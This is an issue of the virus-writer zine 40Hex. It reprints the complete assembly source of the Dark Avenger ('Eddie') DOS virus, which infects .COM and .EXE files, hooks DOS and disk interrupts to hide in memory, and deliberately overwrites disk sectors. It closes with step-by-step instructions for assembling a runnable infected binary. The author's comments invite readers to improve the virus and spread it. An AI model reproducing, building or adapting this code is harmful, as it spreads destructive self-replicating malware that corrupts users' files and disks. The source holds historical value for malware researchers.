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40Hex Issue 03 File 002
40Hex Issue 3 0002
The Dark Avenger
- We are demons to some, angels to others.
Well, here it is. Here is the first major virus source, from the
man who brought us such greats as V2000, Anthrax, and V2100 to name
a few. Well this Bulgarian metal lover was nice enough to freely
distribute the source code to his first virus.
------------------------------------------------------------------------------
; "Blessed is he who expects nothing, for he shall not be disappointed."
; The original source of one of the first Bulgarian viruses is in front of
; you. As you may notice, it's full of rubbish and bugs, but nevertheless
; the virus has spread surprisingly quickly troughout the country and made a
; quick round the globe. (It's well-known in Eastern and Western Europe, as
; well as in USA.) Due to the aniversary of its creation, the source is
; distributed freely. You have the rights to distribute the source which can
; be charged or free of charge, with the only condition not to modify it.
; The one, who intentionaly distributes this source modified in any way will
; be punished! Still, the author will be glad if any of you improves it and
; spreads the resulting executive file (i.e., the virus itself). Pay
; attention to the fact that after you assemble the source, the resulting
; .COM-file cannot be run. For that purpose you have to create a three-byte
; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
; two files. Don't try to place a JMP at the beginning of the source.
; DISCLAIMER: The author does not take any responsability for any damage,
; either direct or implied, caused by the usage or not of this source or of
; the resulting code after assembly. No warrant is made about the product
; functionability or quality.
; I cannot resist to express my special gratitude to my "populazer" Dipl.
; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
; not, helps very much in the spreading of my viruses, in spite of the fact
; that he tries to do just the opposite (writing programs in C has never
; led to any good).
; Greetings to all virus writers!
code segment
assume cs:code,ds:code
copyright:
db 'Eddie lives...somewhere in time!',0
date_stamp:
dd 12239000h
checksum:
db 30
; Return the control to an .EXE file:
; Restores DS=ES=PSP, loads SS:SP and CS:IP.
exit_exe:
mov bx,es
add bx,10h
add bx,word ptr cs:[si+call_adr+2]
mov word ptr cs:[si+patch+2],bx
mov bx,word ptr cs:[si+call_adr]
mov word ptr cs:[si+patch],bx
mov bx,es
add bx,10h
add bx,word ptr cs:[si+stack_pointer+2]
mov ss,bx
mov sp,word ptr cs:[si+stack_pointer]
db 0eah ;JMP XXXX:YYYY
patch:
dd 0
; Returns control to a .COM file:
; Restores the first 3 bytes in the
; beginning of the file, loads SP and IP.
exit_com:
mov di,100h
add si,offset my_save
movsb
movsw
mov sp,ds:[6] ;This is incorrect
xor bx,bx
push bx
jmp [si-11] ;si+call_adr-top_file
; Program entry point
startup:
call relative
relative:
pop si ;SI = $
sub si,offset relative
cld
cmp word ptr cs:[si+my_save],5a4dh
je exe_ok
cli
mov sp,si ;A separate stack is supported for
add sp,offset top_file+100h ;the .COM files, in order not to
sti ;overlap the stack by the program
cmp sp,ds:[6]
jnc exit_com
exe_ok:
push ax
push es
push si
push ds
mov di,si
; Looking for the address of INT 13h handler in ROM-BIOS
xor ax,ax
push ax
mov ds,ax
les ax,ds:[13h*4]
mov word ptr cs:[si+fdisk],ax
mov word ptr cs:[si+fdisk+2],es
mov word ptr cs:[si+disk],ax
mov word ptr cs:[si+disk+2],es
mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h
cmp ax,0f000h ;for diskettes if a hard disk is
jne nofdisk ;available
mov word ptr cs:[si+disk+2],ax
mov ax,ds:[40h*4]
mov word ptr cs:[si+disk],ax
mov dl,80h
mov ax,ds:[41h*4+2] ;INT 41h usually points the segment,
cmp ax,0f000h ;where the original INT 13h vector is
je isfdisk
cmp ah,0c8h
jc nofdisk
cmp ah,0f4h
jnc nofdisk
test al,7fh
jnz nofdisk
mov ds,ax
cmp ds:[0],0aa55h
jne nofdisk
mov dl,ds:[2]
isfdisk:
mov ds,ax
xor dh,dh
mov cl,9
shl dx,cl
mov cx,dx
xor si,si
findvect:
lodsw ;Occasionally begins with:
cmp ax,0fa80h ; CMP DL,80h
jne altchk ; JNC somewhere
lodsw
cmp ax,7380h
je intchk
jne nxt0
altchk:
cmp ax,0c2f6h ;or with:
jne nxt ; TEST DL,80h
lodsw ; JNZ somewhere
cmp ax,7580h
jne nxt0
intchk:
inc si ;then there is:
lodsw ; INT 40h
cmp ax,40cdh
je found
sub si,3
nxt0:
dec si
dec si
nxt:
dec si
loop findvect
jmp short nofdisk
found:
sub si,7
mov word ptr cs:[di+fdisk],si
mov word ptr cs:[di+fdisk+2],ds
nofdisk:
mov si,di
pop ds
; Check whether the program is present in memory:
les ax,ds:[21h*4]
mov word ptr cs:[si+save_int_21],ax
mov word ptr cs:[si+save_int_21+2],es
push cs
pop ds
cmp ax,offset int_21
jne bad_func
xor di,di
mov cx,offset my_size
scan_func:
lodsb
scasb
jne bad_func
loop scan_func
pop es
jmp go_program
; Move the program to the top of memory:
; (it's full of rubbish and bugs here)
bad_func:
pop es
mov ah,49h
int 21h
mov bx,0ffffh
mov ah,48h
int 21h
sub bx,(top_bz+my_bz+1ch-1)/16+2
jc go_program
mov cx,es
stc
adc cx,bx
mov ah,4ah
int 21h
mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
stc
sbb es:[2],bx
push es
mov es,cx
mov ah,4ah
int 21h
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:[1],8
call mul_16
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call mul_16
add ax,ds:[6]
adc dx,0
sub ax,bx
sbb dx,cx
jc mem_ok
sub ds:[6],ax ;Reduction of the segment size
mem_ok:
pop si
push si
push ds
push cs
xor di,di
mov ds,di
lds ax,ds:[27h*4]
mov word ptr cs:[si+save_int_27],ax
mov word ptr cs:[si+save_int_27+2],ds
pop ds
mov cx,offset aux_size
rep movsb
xor ax,ax
mov ds,ax
mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
mov ds:[21h*4+2],es
mov ds:[27h*4],offset int_27
mov ds:[27h*4+2],es
mov word ptr es:[filehndl],ax
pop es
go_program:
pop si
; Smash the next disk sector:
xor ax,ax
mov ds,ax
mov ax,ds:[13h*4]
mov word ptr cs:[si+save_int_13],ax
mov ax,ds:[13h*4+2]
mov word ptr cs:[si+save_int_13+2],ax
mov ds:[13h*4],offset int_13
add ds:[13h*4],si
mov ds:[13h*4+2],cs
pop ds
push ds
push si
mov bx,si
lds ax,ds:[2ah]
xor si,si
mov dx,si
scan_envir: ;Fetch program's name
lodsw ;(with DOS 2.x it doesn't work anyway)
dec si
test ax,ax
jnz scan_envir
add si,3
lodsb
; The following instruction is a complete nonsense. Try to enter a drive &
; directory path in lowercase, then run an infected program from there.
; As a result of an error here + an error in DOS the next sector is not
; smashed. Two memory bytes are smashed instead, most probably onto the
; infected program.
sub al,'A'
mov cx,1
push cs
pop ds
add bx,offset int_27
push ax
push bx
push cx
int 25h
pop ax
pop cx
pop bx
inc byte ptr [bx+0ah]
and byte ptr [bx+0ah],0fh ;It seems that 15 times doing
jnz store_sec ;nothing is not enough for some.
mov al,[bx+10h]
xor ah,ah
mul word ptr [bx+16h]
add ax,[bx+0eh]
push ax
mov ax,[bx+11h]
mov dx,32
mul dx
div word ptr [bx+0bh]
pop dx
add dx,ax
mov ax,[bx+8]
add ax,40h
cmp ax,[bx+13h]
jc store_new
inc ax
and ax,3fh
add ax,dx
cmp ax,[bx+13h]
jnc small_disk
store_new:
mov [bx+8],ax
store_sec:
pop ax
xor dx,dx
push ax
push bx
push cx
int 26h
; The writing trough this interrupt is not the smartest thing, bacause it
; can be intercepted (what Vesselin Bontchev has managed to notice).
pop ax
pop cx
pop bx
pop ax
cmp byte ptr [bx+0ah],0
jne not_now
mov dx,[bx+8]
pop bx
push bx
int 26h
small_disk:
pop ax
not_now:
pop si
xor ax,ax
mov ds,ax
mov ax,word ptr cs:[si+save_int_13]
mov ds:[13h*4],ax
mov ax,word ptr cs:[si+save_int_13+2]
mov ds:[13h*4+2],ax
pop ds
pop ax
cmp word ptr cs:[si+my_save],5a4dh
jne go_exit_com
jmp exit_exe
go_exit_com:
jmp exit_com
int_24:
mov al,3 ;This instruction seems unnecessary
iret
; INT 27h handler (this is necessary)
int_27:
pushf
call alloc
popf
jmp dword ptr cs:[save_int_27]
; During the DOS functions Set & Get Vector it seems that the virus has not
; intercepted them (this is a doubtfull advantage and it is a possible
; source of errors with some "intelligent" programs)
set_int_27:
mov word ptr cs:[save_int_27],dx
mov word ptr cs:[save_int_27+2],ds
popf
iret
set_int_21:
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
popf
iret
get_int_27:
les bx,dword ptr cs:[save_int_27]
popf
iret
get_int_21:
les bx,dword ptr cs:[save_int_21]
popf
iret
exec:
call do_file
call alloc
popf
jmp dword ptr cs:[save_int_21]
db 'Diana P.',0
; INT 21h handler. Infects files during execution, copying, browsing or
; creating and some other operations. The execution of functions 0 and 26h
; has bad consequences.
int_21:
push bp
mov bp,sp
push [bp+6]
popf
pop bp
pushf
call ontop
cmp ax,2521h
je set_int_21
cmp ax,2527h
je set_int_27
cmp ax,3521h
je get_int_21
cmp ax,3527h
je get_int_27
cld
cmp ax,4b00h
je exec
cmp ah,3ch
je create
cmp ah,3eh
je close
cmp ah,5bh
jne not_create
create:
cmp word ptr cs:[filehndl],0;May be 0 if the file is open
jne dont_touch
call see_name
jnz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push es
push cs
pop es
push si
push di
push cx
push ax
mov di,offset filehndl
stosw
mov si,dx
mov cx,65
move_name:
lodsb
stosb
test al,al
jz all_ok
loop move_name
mov word ptr es:[filehndl],cx
all_ok:
pop ax
pop cx
pop di
pop si
pop es
go_exit:
popf
jnc int_exit ;JMP
close:
cmp bx,word ptr cs:[filehndl]
jne dont_touch
test bx,bx
jz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push ds
push cs
pop ds
push dx
mov dx,offset filehndl+2
call do_file
mov word ptr cs:[filehndl],0
pop dx
pop ds
jmp go_exit
not_create:
cmp ah,3dh
je touch
cmp ah,43h
je touch
cmp ah,56h ;Unfortunately, the command inter-
jne dont_touch ;preter does not use this function
touch:
call see_name
jnz dont_touch
call do_file
dont_touch:
call alloc
popf
call function
int_exit:
pushf
push ds
call get_chain
mov byte ptr ds:[0],'Z'
pop ds
popf
dummy proc far ;???
ret 2
dummy endp
; Checks whether the file is .COM or .EXE.
; It is not called upon file execution.
see_name:
push ax
push si
mov si,dx
scan_name:
lodsb
test al,al
jz bad_name
cmp al,'.'
jnz scan_name
call get_byte
mov ah,al
call get_byte
cmp ax,'co'
jz pos_com
cmp ax,'ex'
jnz good_name
call get_byte
cmp al,'e'
jmp short good_name
pos_com:
call get_byte
cmp al,'m'
jmp short good_name
bad_name:
inc al
good_name:
pop si
pop ax
ret
; Converts into lowercase (the subroutines are a great thing).
get_byte:
lodsb
cmp al,'C'
jc byte_got
cmp al,'Y'
jnc byte_got
add al,20h
byte_got:
ret
; Calls the original INT 21h.
function:
pushf
call dword ptr cs:[save_int_21]
ret
; Arrange to infect an executable file.
do_file:
push ds ;Save the registers in stack
push es
push si
push di
push ax
push bx
push cx
push dx
mov si,ds
xor ax,ax
mov ds,ax
les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack
push es ;and changes them with what is needed
push ax
mov ds:[24h*4],offset int_24
mov ds:[24h*4+2],cs
les ax,ds:[13h*4]
mov word ptr cs:[save_int_13],ax
mov word ptr cs:[save_int_13+2],es
mov ds:[13h*4],offset int_13
mov ds:[13h*4+2],cs
push es
push ax
mov ds,si
xor cx,cx ;Arranges to infect Read-only files
mov ax,4300h
call function
mov bx,cx
and cl,0feh
cmp cl,bl
je dont_change
mov ax,4301h
call function
stc
dont_change:
pushf
push ds
push dx
push bx
mov ax,3d02h ;Now we can safely open the file
call function
jc cant_open
mov bx,ax
call disease
mov ah,3eh ;Close it
call function
cant_open:
pop cx
pop dx
pop ds
popf
jnc no_update
mov ax,4301h ;Restores file's attributes
call function ;if they were changed (just in case)
no_update:
xor ax,ax ;Restores INT 13h and INT 24h
mov ds,ax
pop ds:[13h*4]
pop ds:[13h*4+2]
pop ds:[24h*4]
pop ds:[24h*4+2]
pop dx ;Register restoration
pop cx
pop bx
pop ax
pop di
pop si
pop es
pop ds
ret
; This routine is the working horse.
disease:
push cs
pop ds
push cs
pop es
mov dx,offset top_save ;Read the file beginning
mov cx,18h
mov ah,3fh
int 21h
xor cx,cx
xor dx,dx
mov ax,4202h ;Save file length
int 21h
mov word ptr [top_save+1ah],dx
cmp ax,offset my_size ;This should be top_file
sbb dx,0
jc stop_fuck_2 ;Small files are not infected
mov word ptr [top_save+18h],ax
cmp word ptr [top_save],5a4dh
jne com_file
mov ax,word ptr [top_save+8]
add ax,word ptr [top_save+16h]
call mul_16
add ax,word ptr [top_save+14h]
adc dx,0
mov cx,dx
mov dx,ax
jmp short see_sick
com_file:
cmp byte ptr [top_save],0e9h
jne see_fuck
mov dx,word ptr [top_save+1]
add dx,103h
jc see_fuck
dec dh
xor cx,cx
; Check if the file is properly infected
see_sick:
sub dx,startup-copyright
sbb cx,0
mov ax,4200h
int 21h
add ax,offset top_file
adc dx,0
cmp ax,word ptr [top_save+18h]
jne see_fuck
cmp dx,word ptr [top_save+1ah]
jne see_fuck
mov dx,offset top_save+1ch
mov si,dx
mov cx,offset my_size
mov ah,3fh
int 21h
jc see_fuck
cmp cx,ax
jne see_fuck
xor di,di
next_byte:
lodsb
scasb
jne see_fuck
loop next_byte
stop_fuck_2:
ret
see_fuck:
xor cx,cx ;Seek to the end of file
xor dx,dx
mov ax,4202h
int 21h
cmp word ptr [top_save],5a4dh
je fuck_exe
add ax,offset aux_size+200h ;Watch out for too big .COM files
adc dx,0
je fuck_it
ret
; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
fuck_exe:
mov dx,word ptr [top_save+18h]
neg dl
and dx,0fh
xor cx,cx
mov ax,4201h
int 21h
mov word ptr [top_save+18h],ax
mov word ptr [top_save+1ah],dx
fuck_it:
mov ax,5700h ;Get file's date
int 21h
pushf
push cx
push dx
cmp word ptr [top_save],5a4dh
je exe_file ;Very clever, isn't it?
mov ax,100h
jmp short set_adr
exe_file:
mov ax,word ptr [top_save+14h]
mov dx,word ptr [top_save+16h]
set_adr:
mov di,offset call_adr
stosw
mov ax,dx
stosw
mov ax,word ptr [top_save+10h]
stosw
mov ax,word ptr [top_save+0eh]
stosw
mov si,offset top_save ;This offers the possibilities to
movsb ;some nasty programs to restore
movsw ;exactly the original length
xor dx,dx ;of the .EXE files
mov cx,offset top_file
mov ah,40h
int 21h ;Write the virus
jc go_no_fuck ;(don't trace here)
xor cx,ax
jnz go_no_fuck
mov dx,cx
mov ax,4200h
int 21h
cmp word ptr [top_save],5a4dh
je do_exe
mov byte ptr [top_save],0e9h
mov ax,word ptr [top_save+18h]
add ax,startup-copyright-3
mov word ptr [top_save+1],ax
mov cx,3
jmp short write_header
go_no_fuck:
jmp short no_fuck
; Construct the .EXE file's header
do_exe:
call mul_hdr
not ax
not dx
inc ax
jne calc_offs
inc dx
calc_offs:
add ax,word ptr [top_save+18h]
adc dx,word ptr [top_save+1ah]
mov cx,10h
div cx
mov word ptr [top_save+14h],startup-copyright
mov word ptr [top_save+16h],ax
add ax,(offset top_file-offset copyright-1)/16+1
mov word ptr [top_save+0eh],ax
mov word ptr [top_save+10h],100h
add word ptr [top_save+18h],offset top_file
adc word ptr [top_save+1ah],0
mov ax,word ptr [top_save+18h]
and ax,1ffh
mov word ptr [top_save+2],ax
pushf
mov ax,word ptr [top_save+19h]
shr byte ptr [top_save+1bh],1
rcr ax,1
popf
jz update_len
inc ax
update_len:
mov word ptr [top_save+4],ax
mov cx,18h
write_header:
mov dx,offset top_save
mov ah,40h
int 21h ;Write the file beginning
no_fuck:
pop dx
pop cx
popf
jc stop_fuck
mov ax,5701h ;Restore the original file date
int 21h
stop_fuck:
ret
; The following is used by the INT 21h and INT 27h handlers in connection
; to the program hiding in memory from those who don't need to see it.
; The whole system is absurde and meaningless and it is also another source
; for program conflicts.
alloc:
push ds
call get_chain
mov byte ptr ds:[0],'M'
pop ds
; Assures that the program is the first one in the processes,
; which have intercepted INT 21h (yet another source of conflicts).
ontop:
push ds
push ax
push bx
push dx
xor bx,bx
mov ds,bx
lds dx,ds:[21h*4]
cmp dx,offset int_21
jne search_segment
mov ax,ds
mov bx,cs
cmp ax,bx
je test_complete
; Searches the segment of the sucker who has intercepted INT 21h, in
; order to find where it has stored the old values and to replace them.
; Nothing is done for INT 27h.
xor bx,bx
search_segment:
mov ax,[bx]
cmp ax,offset int_21
jne search_next
mov ax,cs
cmp ax,[bx+2]
je got_him
search_next:
inc bx
jne search_segment
je return_control
got_him:
mov ax,word ptr cs:[save_int_21]
mov [bx],ax
mov ax,word ptr cs:[save_int_21+2]
mov [bx+2],ax
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
xor bx,bx
; Even if he has not saved them in the same segment, this won't help him.
return_control:
mov ds,bx
mov ds:[21h*4],offset int_21
mov ds:[21h*4+2],cs
test_complete:
pop dx
pop bx
pop ax
pop ds
ret
; Fetch the segment of the last MCB
get_chain:
push ax
push bx
mov ah,62h
call function
mov ax,cs
dec ax
dec bx
next_blk:
mov ds,bx
stc
adc bx,ds:[3]
cmp bx,ax
jc next_blk
pop bx
pop ax
ret
; Multiply by 16
mul_hdr:
mov ax,word ptr [top_save+8]
mul_16:
mov dx,10h
mul dx
ret
db 'This program was written in the city of Sofia '
db '(C) 1988-89 Dark Avenger',0
; INT 13h handler.
; Calls the original vectors in BIOS, if it's a writing call
int_13:
cmp ah,3
jnz subfn_ok
cmp dl,80h
jnc hdisk
db 0eah ;JMP XXXX:YYYY
my_size: ;--- Up to here comparison
disk: ; with the original is made
dd 0
hdisk:
db 0eah ;JMP XXXX:YYYY
fdisk:
dd 0
subfn_ok:
db 0eah ;JMP XXXX:YYYY
save_int_13:
dd 0
call_adr:
dd 100h
stack_pointer:
dd 0 ;The original value of SS:SP
my_save:
int 20h ;The original contents of the first
nop ;3 bytes of the file
top_file: ;--- Up to here the code is written
filehndl equ $ ; in the files
filename equ filehndl+2 ;Buffer for the name of the opened file
save_int_27 equ filename+65 ;Original INT 27h vector
save_int_21 equ save_int_27+4 ;Original INT 21h vector
aux_size equ save_int_21+4 ;--- Up to here is moved into memory
top_save equ save_int_21+4 ;Beginning of the buffer, which
;contains
; - The first 24 bytes read from file
; - File length (4 bytes)
; - The last bytes of the file
; (my_size bytes)
top_bz equ top_save-copyright
my_bz equ my_size-copyright
code ends
end
------------------------------------------------------------------------------
A few notes on assembling this virus.
It's a little bit tricky assembling the Dark Avenger Virus. Use
these steps below. I use Turbo Assembler 2.0, but I'm positve that
MASM will work just as well.
1:
TASM AVENGER.ASM
2:
TLINK AVENGER.OBJ
3:
EXE2BIN AVENGER AVENGER.COM
Now make a 3 byte file named JUMP.TMP using DEBUG like this
4: DEBUG
n jmp.tmp
e 0100 E9 68 00
rcx
3
w
q
5: Now do this COPY JMP.TMP + AVENGER.COM DAVENGER.COM
There you have it....
HR
